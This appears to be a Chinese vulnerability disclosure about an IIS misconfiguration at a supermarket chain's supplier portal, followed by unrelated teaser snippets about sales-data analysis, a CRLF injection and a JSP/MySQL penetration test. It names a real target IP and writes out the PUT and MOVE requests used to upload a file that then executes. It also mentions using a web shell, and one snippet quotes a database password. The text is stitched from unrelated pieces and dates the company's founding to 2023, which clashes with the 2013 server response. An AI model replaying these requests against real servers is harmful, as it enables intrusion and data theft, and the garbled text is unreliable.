華聯超市股份****是中國國內第一家上市的連鎖超市公司，其前身為成立於2023年1月的上海華聯超市公司。
本漏洞出現在華聯超市**商系統中，導致**商資訊洩露。
詳細說明：
由於iis配置不當，開放put、move方法，導致檔案上傳，並且可move為jpg檔案，利用iis解析漏洞可執行上傳檔案。
在測試過程**現了個小插曲，只能put txt檔案，不能move為asp檔案，後來發現可以move為jpg檔案。
目標位址：218.204.14.84
請求：put /te.txt http/1.1
host: 218.204.14.84
content-length: 30
返回：
請求：move /te.txt http/1.1
host: 218.204.14.84
destination:
返回：http/1.1 201 created
date: tue, 25 jun 2013 13:59:03 gmt
server: microsoft-iis/6.0
x-powered-by: asp.net
location:
content-type: text/xml
content-length: 0
上傳上去後直接上菜刀
修復方案：
好多漏洞，都不知道咋補
某連鎖超市資料分析
某超市連鎖分析 order pd.read csv order 14.3.csv encoding gbk print order.columns 資料處理，去重 這裡去掉銷量為負值的行 a order 銷量 0 data order.loc a,取出銷量大於0的行對應的所有列 1哪些類別比較暢銷 ...
新浪某站CRLF Injection導致的安全問題
原創 phithon 2014 六月 30 06 45 閱讀 3714 網路安全 hrs,crlf,xss crlf injection很少遇見，這次被我逮住了。我看zone中 還有一些同學對於這個漏洞不甚了解，甚至分不清它與csrf，我詳細說一下吧。crlf是 回車 換行 r n 的簡稱。在htt...
jsp mysql resin某站滲透過程
初步看了一下，jsp mysql架設，很容易的找到了乙個注入點 獲得mysql的root密碼為123321 cmd5太黑了，這都收費,建議以後去www.5.com telnet 了一下，mysql不能外連。cab6cccfaa4f9b2297b359ae934b6ec1 zhangguishu 12...